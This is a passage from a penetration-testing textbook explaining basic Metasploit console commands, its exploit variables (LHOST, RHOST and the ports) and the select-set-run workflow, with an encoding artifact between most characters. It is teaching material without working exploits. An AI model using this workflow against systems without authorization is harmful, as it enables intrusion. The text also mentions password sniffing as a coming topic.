�d�e�l�e�t�e� �t�h�e� �n�e�t�w�o�r�k� �r�o�u�t�e�s�.� �T�h�i�s� �i�s� �u�s�e�d� �f�o�r� �p�i�v�o�t�i�n�g� �i�n� �a�d�v�a�n�c�e�d� �s�c�e�n�a�r�i�o�s�,� �w�h�i�c�h
�w�e� �w�i�l�l� �c�o�v�e�r� �l�a�t�e�r� �i�n� �t�h�i�s� �b�o�o�k�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf> route �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e
route � �c�o�m�m�a�n�d�:
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�T�h�e� save � �c�o�m�m�a�n�d�:� �A�t� �t�i�m�e�s�,� �w�h�e�n� �p�e�r�f�o�r�m�i�n�g� �a� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t� �o�n� �a� �c�o�m�p�l�e�x
�t�a�r�g�e�t� �e�n�v�i�r�o�n�m�e�n�t�,� �a� �l�o�t� �o�f� �c�o�n�f�i�g�u�r�a�t�i�o�n� �c�h�a�n�g�e�s� �a�r�e� �m�a�d�e� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�.� �N�o�w�,� �i�f� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t� �n�e�e�d�s� �t�o� �b�e� �r�e�s�u�m�e�d� �a�g�a�i�n� �a�t� �a� �l�a�t�e�r
�p�o�i�n�t� �o�f� �t�i�m�e�,� �i�t� �w�o�u�l�d� �b�e� �r�e�a�l�l�y� �p�a�i�n�f�u�l� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k
�a�g�a�i�n� �f�r�o�m� �s�c�r�a�t�c�h�.� �T�h�e� save � �c�o�m�m�a�n�d� �s�a�v�e�s� �a�l�l� �t�h�e� �c�o�n�f�i�g�u�r�a�t�i�o�n�s� �t�o� �a� �f�i�l�e� �a�n�d
�i�t� �g�e�t�s� �l�o�a�d�e�d� �u�p�o�n� �t�h�e� �n�e�x�t� �s�t�a�r�t�u�p�,� �s�a�v�i�n�g� �a�l�l� �t�h�e� �r�e�c�o�n�f�i�g�u�r�a�t�i�o�n� �e�f�f�o�r�t�s�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf>save �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e� save
�c�o�m�m�a�n�d�:

�T�h�e� sessions � �c�o�m�m�a�n�d�:� �O�n�c�e� �o�u�r� �t�a�r�g�e�t� �i�s� �e�x�p�l�o�i�t�e�d� �s�u�c�c�e�s�s�f�u�l�l�y�,� �w�e� �n�o�r�m�a�l�l�y
�g�e�t� �a� �s�h�e�l�l� �s�e�s�s�i�o�n� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �I�f� �w�e� �a�r�e� �w�o�r�k�i�n�g� �o�n� �m�u�l�t�i�p�l�e� �t�a�r�g�e�t�s
�s�i�m�u�l�t�a�n�e�o�u�s�l�y�,� �t�h�e�n� �t�h�e�r�e� �m�i�g�h�t� �b�e� �m�u�l�t�i�p�l�e� �s�e�s�s�i�o�n�s� �a�c�t�i�v�e�l�y� �o�p�e�n� �a�t� �t�h�e� �s�a�m�e
�t�i�m�e�.� �T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �a�l�l�o�w�s� �u�s� �t�o� �s�w�i�t�c�h� �b�e�t�w�e�e�n� �m�u�l�t�i�p�l�e� �s�e�s�s�i�o�n�s
�a�s� �a�n�d� �w�h�e�n� �r�e�q�u�i�r�e�d�.� �T�h�e� sessions � �c�o�m�m�a�n�d� �l�i�s�t�s� �d�o�w�n� �a�l�l� �t�h�e� �c�u�r�r�e�n�t�l�y
�a�c�t�i�v�e� �s�e�s�s�i�o�n�s� �e�s�t�a�b�l�i�s�h�e�d� �w�i�t�h� �v�a�r�i�o�u�s� �t�a�r�g�e�t� �s�y�s�t�e�m�s�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf>sessions �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e
sessions � �c�o�m�m�a�n�d�:
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�T�h�e� spool � �c�o�m�m�a�n�d�:� �J�u�s�t� �l�i�k�e� �a�n�y� �a�p�p�l�i�c�a�t�i�o�n� �h�a�s� �d�e�b�u�g� �l�o�g�s� �t�h�a�t� �h�e�l�p� �o�u�t� �i�n
�d�e�b�u�g�g�i�n�g� �e�r�r�o�r�s�,� �t�h�e� spool � �c�o�m�m�a�n�d� �p�r�i�n�t�s� �o�u�t� �a�l�l� �t�h�e� �o�u�t�p�u�t� �t�o� �a� �u�s�e�r�-�d�e�f�i�n�e�d
�f�i�l�e� �a�l�o�n�g� �w�i�t�h� �t�h�e� �c�o�n�s�o�l�e�.� �T�h�e� �o�u�t�p�u�t� �f�i�l�e� �c�a�n� �l�a�t�e�r� �b�e� �a�n�a�l�y�z�e�d� �b�a�s�e�d� �o�n� �t�h�e
�r�e�q�u�i�r�e�m�e�n�t�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf>spool �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e
spool � �c�o�m�m�a�n�d�:

�T�h�e� show� �c�o�m�m�a�n�d�:� �T�h�e� show� �c�o�m�m�a�n�d� �i�s� �u�s�e�d� �t�o� �d�i�s�p�l�a�y� �t�h�e� �a�v�a�i�l�a�b�l�e� 
�m�o�d�u�l�e�s� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�r� �t�o� �d�i�s�p�l�a�y� �a�d�d�i�t�i�o�n�a�l� �i�n�f�o�r�m�a�t�i�o�n
�w�h�i�l�e� �u�s�i�n�g� �a� �p�a�r�t�i�c�u�l�a�r� �m�o�d�u�l�e�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf> show �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e� show
�c�o�m�m�a�n�d�:
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�T�h�e� info � �c�o�m�m�a�n�d�:� �T�h�e� info � �c�o�m�m�a�n�d� �i�s� �u�s�e�d� �t�o� �d�i�s�p�l�a�y� �d�e�t�a�i�l�s� �a�b�o�u�t� �a
�p�a�r�t�i�c�u�l�a�r� �m�o�d�u�l�e� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �F�o�r� �e�x�a�m�p�l�e�,� �y�o�u� �m�i�g�h�t
�w�a�n�t� �t�o� �v�i�e�w� �i�n�f�o�r�m�a�t�i�o�n� �o�n� �m�e�t�e�r�p�r�e�t�e�r� �p�a�y�l�o�a�d�,� �s�u�c�h� �a�s� �w�h�a�t� �t�h�e� �s�u�p�p�o�r�t�e�d
�a�r�c�h�i�t�e�c�t�u�r�e� �i�a� �a�n�d� �w�h�a�t� �t�h�e� �o�p�t�i�o�n�s� �r�e�q�u�i�r�e�d� �i�n� �o�r�d�e�r� �t�o� �e�x�e�c�u�t�e� �t�h�i�s� �a�r�e�:

�I�t�s� �s�y�n�t�a�x� �i�s� msf> info �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e� info
�c�o�m�m�a�n�d�:
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�T�h�e� irb � �c�o�m�m�a�n�d�:� �T�h�e� irb � �c�o�m�m�a�n�d� �i�n�v�o�k�e�s� �t�h�e� �i�n�t�e�r�a�c�t�i�v�e� �R�u�b�y� �p�l�a�t�f�o�r�m
�f�r�o�m� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �T�h�e� �i�n�t�e�r�a�c�t�i�v�e� �R�u�b�y� �p�l�a�t�f�o�r�m� �c�a�n� �b�e
�u�s�e�d� �f�o�r� �c�r�e�a�t�i�n�g� �a�n�d� �i�n�v�o�k�i�n�g� �c�u�s�t�o�m� �s�c�r�i�p�t�s� �t�y�p�i�c�a�l�l�y� �d�u�r�i�n�g� �t�h�e� �p�o�s�t�-
�e�x�p�l�o�i�t�a�t�i�o�n� �p�h�a�s�e�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf>irb �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e� irb
�c�o�m�m�a�n�d�:

�T�h�e� makerc � �c�o�m�m�a�n�d�:� �W�h�e�n� �w�e� �u�s�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �f�o�r� �p�e�n� �t�e�s�t�i�n�g� �a
�t�a�r�g�e�t�,� �w�e� �f�i�r�e� �a� �l�o�t� �m�a�n�y� �c�o�m�m�a�n�d�s�.� �A�t� �e�n�d� �o�f� �t�h�e� �a�s�s�i�g�n�m�e�n�t� �o�r� �t�h�a�t� �p�a�r�t�i�c�u�l�a�r
�s�e�s�s�i�o�n�,� �w�e� �m�i�g�h�t� �w�a�n�t� �t�o� �r�e�v�i�e�w� �w�h�a�t� �a�l�l� �a�c�t�i�v�i�t�i�e�s� �w�e� �p�e�r�f�o�r�m�e�d� �t�h�r�o�u�g�h
�M�e�t�a�s�p�l�o�i�t�.� �T�h�e� makerc � �c�o�m�m�a�n�d� �s�i�m�p�l�y� �w�r�i�t�e�s� �o�u�t� �a�l�l� �t�h�e� �c�o�m�m�a�n�d� �h�i�s�t�o�r�y� �f�o�r
�a� �p�a�r�t�i�c�u�l�a�r� �s�e�s�s�i�o�n� �t�o� �a� �u�s�e�r� �d�e�f�i�n�e�d� �o�u�t�p�u�t� �f�i�l�e�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf>makerc �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e
makerc � �c�o�m�m�a�n�d�:
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�V�a�r�i�a�b�l�e�s� �i�n� �M�e�t�a�s�p�l�o�i�t
�F�o�r� �m�o�s�t� �e�x�p�l�o�i�t�s� �t�h�a�t� �w�e� �u�s�e� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �w�e� �n�e�e�d� �t�o� �s�e�t� �v�a�l�u�e�s� �t�o
�s�o�m�e� �o�f� �t�h�e� �v�a�r�i�a�b�l�e�s�.� �T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �s�o�m�e� �o�f� �t�h�e� �c�o�m�m�o�n� �a�n�d� �m�o�s�t� �i�m�p�o�r�t�a�n�t� �v�a�r�i�a�b�l�e�s
�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�:

�V�a�r�i�a�b�l�e
�n�a�m�e

�V�a�r�i�a�b�l�e� �d�e�s�c�r�i�p�t�i�o�n

LHOST �L�o�c�a�l� �H�o�s�t�:� �T�h�i�s� �v�a�r�i�a�b�l�e� �c�o�n�t�a�i�n�s� �t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �t�h�e� �a�t�t�a�c�k�e�r�'�s� �s�y�s�t�e�m� �t�h�a�t� �i�s
�t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �t�h�e� �s�y�s�t�e�m� �f�r�o�m� �w�h�e�r�e� �w�e� �a�r�e� �i�n�i�t�i�a�t�i�n�g� �t�h�e� �e�x�p�l�o�i�t�.

LPORT �L�o�c�a�l� �P�o�r�t�:� �T�h�i�s� �v�a�r�i�a�b�l�e� �c�o�n�t�a�i�n�s� �t�h�e� �(�l�o�c�a�l�)� �p�o�r�t� �n�u�m�b�e�r� �o�f� �t�h�e� �a�t�t�a�c�k�e�r�'�s
�s�y�s�t�e�m�.� �T�h�i�s� �i�s� �t�y�p�i�c�a�l�l�y� �n�e�e�d�e�d� �w�h�e�n� �w�e� �a�r�e� �e�x�p�e�c�t�i�n�g� �o�u�r� �e�x�p�l�o�i�t� �t�o� �g�i�v�e� �u�s
�r�e�v�e�r�s�e� �s�h�e�l�l�.

RHOST �R�e�m�o�t�e� �H�o�s�t�:� �T�h�i�s� �v�a�r�i�a�b�l�e� �c�o�n�t�a�i�n�s� �t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�.

RPORT �R�e�m�o�t�e� �P�o�r�t�:� �T�h�i�s� �v�a�r�i�a�b�l�e� �c�o�n�t�a�i�n�s� �t�h�e� �p�o�r�t� �n�u�m�b�e�r� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �t�h�a�t
�w�e� �w�i�l�l� �a�t�t�a�c�k�/�e�x�p�l�o�i�t�.� �F�o�r� �e�x�a�m�p�l�e�,� �f�o�r� �e�x�p�l�o�i�t�i�n�g� �a�n� �F�T�P� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �a� 
�r�e�m�o�t�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �R�P�O�R�T� �w�i�l�l� �b�e� �s�e�t� �t�o� �2�1�.

�T�h�e� get � �c�o�m�m�a�n�d�:� �T�h�e� get � �c�o�m�m�a�n�d� �i�s� �u�s�e�d� �t�o� �r�e�t�r�i�e�v�e� �t�h�e� �v�a�l�u�e� �c�o�n�t�a�i�n�e�d� �i�n� �a
�p�a�r�t�i�c�u�l�a�r� �l�o�c�a�l� �v�a�r�i�a�b�l�e� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �F�o�r� �e�x�a�m�p�l�e�,� �y�o�u
�m�i�g�h�t� �w�a�n�t� �t�o� �v�i�e�w� �w�h�a�t� �i�s� �t�h�e� �I�P� �a�d�d�r�e�s�s� �o�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �t�h�a�t� �y�o�u� �h�a�v�e� �s�e�t
�f�o�r� �a� �p�a�r�t�i�c�u�l�a�r� �e�x�p�l�o�i�t�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf>get �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e� msf>
get � �c�o�m�m�a�n�d�:
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�T�h�e� getg � �c�o�m�m�a�n�d�:� �T�h�e� getg � �c�o�m�m�a�n�d� �i�s� �v�e�r�y� �s�i�m�i�l�a�r� �t�o� �t�h�e� get � �c�o�m�m�a�n�d�,
�e�x�c�e�p�t� �i�t� �r�e�t�u�r�n�s� �t�h�e� �v�a�l�u�e� �c�o�n�t�a�i�n�e�d� �i�n� �t�h�e� �g�l�o�b�a�l� �v�a�r�i�a�b�l�e�.

�I�t�s� �s�y�n�t�a�x� �i�s� msf> getg �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �u�s�e� �o�f� �t�h�e� msf>
getg � �c�o�m�m�a�n�d�:

�T�h�e� set � �a�n�d� setg � �c�o�m�m�a�n�d�s�:� �T�h�e� set � �c�o�m�m�a�n�d� �a�s�s�i�g�n�s� �a� �n�e�w� �v�a�l�u�e� �t�o� �o�n�e� �o�f
�t�h�e� �(�l�o�c�a�l�)� �v�a�r�i�a�b�l�e�s� �(�s�u�c�h� �a�s� RHOST�,� RPORT�,� LHOST�,� �a�n�d� LPPORT�)� �w�i�t�h�i�n� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �H�o�w�e�v�e�r�,� �t�h�e� set � �c�o�m�m�a�n�d� �a�s�s�i�g�n�s� �a� �v�a�l�u�e� �t�o� �t�h�e
�v�a�r�i�a�b�l�e� �t�h�a�t� �i�s� �v�a�l�i�d� �f�o�r� �a� �l�i�m�i�t�e�d� �s�e�s�s�i�o�n�/�i�n�s�t�a�n�c�e�.� �T�h�e� setg � �c�o�m�m�a�n�d� �a�s�s�i�g�n�s� �a
�n�e�w� �v�a�l�u�e� �t�o� �t�h�e� �(�g�l�o�b�a�l�)� �v�a�r�i�a�b�l�e� �o�n� �a� �p�e�r�m�a�n�e�n�t� �b�a�s�i�s� �s�o� �t�h�a�t� �i�t� �c�a�n� �b�e� �u�s�e�d
�r�e�p�e�a�t�e�d�l�y� �w�h�e�n�e�v�e�r� �r�e�q�u�i�r�e�d�.

�I�t�s� �s�y�n�t�a�x� �i�s�:

msf> set <VARIABLE> <VALUE>
msf> setg <VARIABLE> <VALUE>

�W�e� �c�a�n� �s�e�e� �t�h�e� set � �a�n�d� setg � �c�o�m�m�a�n�d�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�T�h�e� unset � �a�n�d� unsetg � �c�o�m�m�a�n�d�s�:� �T�h�e� unset � �c�o�m�m�a�n�d� �s�i�m�p�l�y� �c�l�e�a�r�s� �t�h�e� �v�a�l�u�e
�p�r�e�v�i�o�u�s�l�y� �s�t�o�r�e�d� �i�n� �a� �(�l�o�c�a�l�)� �v�a�r�i�a�b�l�e� �t�h�r�o�u�g�h� �t�h�e� set � �c�o�m�m�a�n�d�.� �T�h�e� unsetg
�c�o�m�m�a�n�d� �c�l�e�a�r�s� �t�h�e� �v�a�l�u�e� �p�r�e�v�i�o�u�s�l�y� �s�t�o�r�e�d� �i�n� �a� �(�g�l�o�b�a�l�)� �v�a�r�i�a�b�l�e� �t�h�r�o�u�g�h� �t�h�e
setg � �c�o�m�m�a�n�d�:

�I�t�s� �s�y�n�t�a�x� �i�s�:

msf> unset<VARIABLE>
msf> unsetg <VARIABLE>

�W�e� �c�a�n� �s�e�e� �t�h�e� unset � �a�n�d� unsetg � �c�o�m�m�a�n�d�s� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�U�p�d�a�t�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k
�T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�s� �c�o�m�m�e�r�c�i�a�l�l�y� �b�a�c�k�e�d� �b�y� �R�a�p�i�d� �7� �a�n�d� �h�a�s� �a� �v�e�r�y� �a�c�t�i�v�e
�d�e�v�e�l�o�p�m�e�n�t� �c�o�m�m�u�n�i�t�y�.� �N�e�w� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �a�r�e� �d�i�s�c�o�v�e�r�e�d� �a�l�m�o�s�t� �o�n� �a� �d�a�i�l�y� �b�a�s�i�s� �i�n
�v�a�r�i�o�u�s� �s�y�s�t�e�m�s�.� �F�o�r� �a�n�y� �s�u�c�h� �n�e�w�l�y� �d�i�s�c�o�v�e�r�e�d� �v�u�l�n�e�r�a�b�i�l�i�t�y�,� �t�h�e�r�e�'�s� �q�u�i�t�e� �a� �p�o�s�s�i�b�i�l�i�t�y
�t�h�a�t� �y�o�u� �g�e�t� �a� �r�e�a�d�y�-�t�o�-�u�s�e� �e�x�p�l�o�i�t� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �H�o�w�e�v�e�r�,� �i�n� �o�r�d�e�r� �t�o� �k�e�e�p
�a�b�r�e�a�s�t� �w�i�t�h� �t�h�e� �l�a�t�e�s�t� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �a�n�d� �e�x�p�l�o�i�t�s�,� �i�t�'�s� �i�m�p�o�r�t�a�n�t� �t�o� �k�e�e�p� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �u�p�d�a�t�e�d�.� �Y�o�u� �m�a�y� �n�o�t� �n�e�e�d� �t�o� �u�p�d�a�t�e� �t�h�e� �f�r�a�m�e�w�o�r�k� �o�n� �a� �d�a�i�l�y� �b�a�s�i�s� �(�u�n�l�e�s�s
�y�o�u� �a�r�e� �v�e�r�y� �a�c�t�i�v�e�l�y� �i�n�v�o�l�v�e�d� �i�n� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�)�;� �h�o�w�e�v�e�r�,� �y�o�u� �c�a�n� �t�a�r�g�e�t� �f�o�r� �w�e�e�k�l�y
�u�p�d�a�t�e�s�.
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�T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�f�f�e�r�s� �a� �s�i�m�p�l�e� �u�t�i�l�i�t�y� �c�a�l�l�e�d� msfupdate � �t�h�a�t� �c�o�n�n�e�c�t�s� �t�o� �t�h�e
�r�e�s�p�e�c�t�i�v�e� �o�n�l�i�n�e� �r�e�p�o�s�i�t�o�r�y� �a�n�d� �f�e�t�c�h�e�s� �t�h�e� �u�p�d�a�t�e�s�:

�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e� �h�a�v�e� �s�e�e�n� �h�o�w� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�s� �s�t�r�u�c�t�u�r�e�d� �a�n�d� �s�o�m�e
�c�o�m�m�o�n� �c�o�n�s�o�l�e� �c�o�m�m�a�n�d�s�.� �I�n� �t�h�e� �n�e�x�t� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �p�r�a�c�t�i�c�a�l�l�y� �s�t�a�r�t� �u�s�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �f�o�r� �p�e�r�f�o�r�m�i�n�g� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �o�n� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�s�.
�F�o�r� �u�s�i�n�g� �m�o�s�t� �m�o�d�u�l�e�s� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �r�e�m�e�m�b�e�r� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�e�q�u�e�n�c�e�:

�U�s�e� �t�h�e� use � �c�o�m�m�a�n�d� �t�o� �s�e�l�e�c�t� �t�h�e� �r�e�q�u�i�r�e�d� �M�e�t�a�s�p�l�o�i�t� �m�o�d�u�l�e�.�1�.

�U�s�e� �t�h�e� show options � �c�o�m�m�a�n�d� �t�o� �l�i�s�t� �w�h�a�t� �a�l�l� �v�a�r�i�a�b�l�e�s� �a�r�e� �r�e�q�u�i�r�e�d� �i�n� �o�r�d�e�r�2�.
�t�o� �e�x�e�c�u�t�e� �t�h�e� �s�e�l�e�c�t�e�d� �m�o�d�u�l�e�.
�U�s�e� �t�h�e� set � �c�o�m�m�a�n�d� �t�o� �s�e�t� �t�h�e� �v�a�l�u�e�s� �f�o�r� �r�e�q�u�i�r�e�d� �v�a�r�i�a�b�l�e�s�.�3�.

�U�s�e� �t�h�e� run � �c�o�m�m�a�n�d� �t�o� �e�x�e�c�u�t�e� �t�h�e� �m�o�d�u�l�e� �w�i�t�h� �t�h�e� �v�a�r�i�a�b�l�e�s� �c�o�n�f�i�g�u�r�e�d�4�.
�e�a�r�l�i�e�r�.



�M�e�t�a�s�p�l�o�i�t� �C�o�m�p�o�n�e�n�t�s� �a�n�d� �E�n�v�i�r�o�n�m�e�n�t� �C�o�n�f�i�g�u�r�a�t�i�o�n

�[� �5�8� �]

�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�B�r�o�w�s�e� �t�h�r�o�u�g�h� �t�h�e� �d�i�r�e�c�t�o�r�y� �s�t�r�u�c�t�u�r�e� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k
�T�r�y� �o�u�t� �s�o�m�e� �o�f� �t�h�e� �c�o�m�m�o�n� �c�o�n�s�o�l�e� �c�o�m�m�a�n�d�s� �d�i�s�c�u�s�s�e�d� �i�n� �t�h�i�s� �c�h�a�p�t�e�r
�U�p�d�a�t�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �t�o� �t�h�e� �l�a�t�e�s�t� �a�v�a�i�l�a�b�l�e� �v�e�r�s�i�o�n



�4
�I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�g� �w�i�t�h

�M�e�t�a�s�p�l�o�i�t
�I�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �a�r�e� �t�h�e� �i�n�i�t�i�a�l� �s�t�a�g�e�s� �o�f� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e
�c�y�c�l�e�.� �T�h�e�s�e� �s�t�a�g�e�s� �a�r�e� �o�f�t�e�n� �o�v�e�r�l�o�o�k�e�d�,� �a�n�d� �p�e�o�p�l�e� �d�i�r�e�c�t�l�y� �e�n�d� �u�p� �u�s�i�n�g� �a�u�t�o�m�a�t�e�d� �t�o�o�l�s
�i�n� �a�n� �a�t�t�e�m�p�t� �t�o� �q�u�i�c�k�l�y� �c�o�m�p�r�o�m�i�s�e� �t�h�e� �t�a�r�g�e�t�.� �H�o�w�e�v�e�r�,� �s�u�c�h� �a�t�t�e�m�p�t�s� �a�r�e� �l�e�s�s� �l�i�k�e�l�y� �t�o
�s�u�c�c�e�e�d�.

�"�G�i�v�e� �m�e� �s�i�x� �h�o�u�r�s� �t�o� �c�h�o�p� �d�o�w�n� �a� �t�r�e�e� �a�n�d� �I� �w�i�l�l� �s�p�e�n�d� �t�h�e� �f�i�r�s�t� �f�o�u�r� �s�h�a�r�p�e�n�i�n�g� �t�h�e� �a�x�e�.�"
�-� �A�b�r�a�h�a�m� �L�i�n�c�o�l�n

�T�h�i�s� �i�s� �a� �v�e�r�y� �f�a�m�o�u�s� �q�u�o�t�e� �b�y� �A�b�r�a�h�a�m� �L�i�n�c�o�l�n� �w�h�i�c�h� �i�s� �a�p�p�l�i�c�a�b�l�e� �t�o� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�a�s� �w�e�l�l�!� �T�h�e� �m�o�r�e� �e�f�f�o�r�t�s� �y�o�u� �t�a�k�e� �t�o� �g�a�t�h�e�r� �i�n�f�o�r�m�a�t�i�o�n� �a�b�o�u�t� �y�o�u�r� �t�a�r�g�e�t�s� �a�n�d� �e�n�u�m�e�r�a�t�e
�t�h�e�m�,� �t�h�e� �m�o�r�e� �l�i�k�e�l�y� �y�o�u� �a�r�e� �t�o� �s�u�c�c�e�e�d� �w�i�t�h� �c�o�m�p�r�o�m�i�s�e�.� �B�y� �p�e�r�f�o�r�m�i�n�g� �c�o�m�p�r�e�h�e�n�s�i�v�e
�i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n�,� �y�o�u� �w�i�l�l� �b�e� �p�r�e�s�e�n�t�e�d� �w�i�t�h� �w�e�a�l�t�h� �o�f� �i�n�f�o�r�m�a�t�i�o�n
�a�b�o�u�t� �y�o�u�r� �t�a�r�g�e�t�,� �a�n�d� �t�h�e�n� �y�o�u� �c�a�n� �p�r�e�c�i�s�e�l�y� �d�e�c�i�d�e� �t�h�e� �a�t�t�a�c�k� �v�e�c�t�o�r� �i�n� �o�r�d�e�r� �t�o
�c�o�m�p�r�o�m�i�s�e� �t�h�e� �s�a�m�e�.

�T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �p�r�o�v�i�d�e�s� �v�a�r�i�o�u�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �f�o�r� �p�e�r�f�o�r�m�i�n�g� �b�o�t�h� �p�a�s�s�i�v�e
�a�n�d� �a�c�t�i�v�e� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�l�o�n�g� �w�i�t�h� �d�e�t�a�i�l�e�d� �e�n�u�m�e�r�a�t�i�o�n�.� �T�h�i�s� �c�h�a�p�t�e�r� �i�n�t�r�o�d�u�c�e�s
�s�o�m�e� �o�f� �t�h�e� �i�m�p�o�r�t�a�n�t� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �m�o�d�u�l�e�s� �a�v�a�i�l�a�b�l�e� �i�n� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�:

�T�h�e� �t�o�p�i�c�s� �t�o� �b�e� �c�o�v�e�r�e�d� �a�r�e� �a�s� �f�o�l�l�o�w�s�:

�I�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �o�n� �v�a�r�i�o�u�s� �p�r�o�t�o�c�o�l�s
�P�a�s�s�w�o�r�d� �s�n�i�f�f�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t
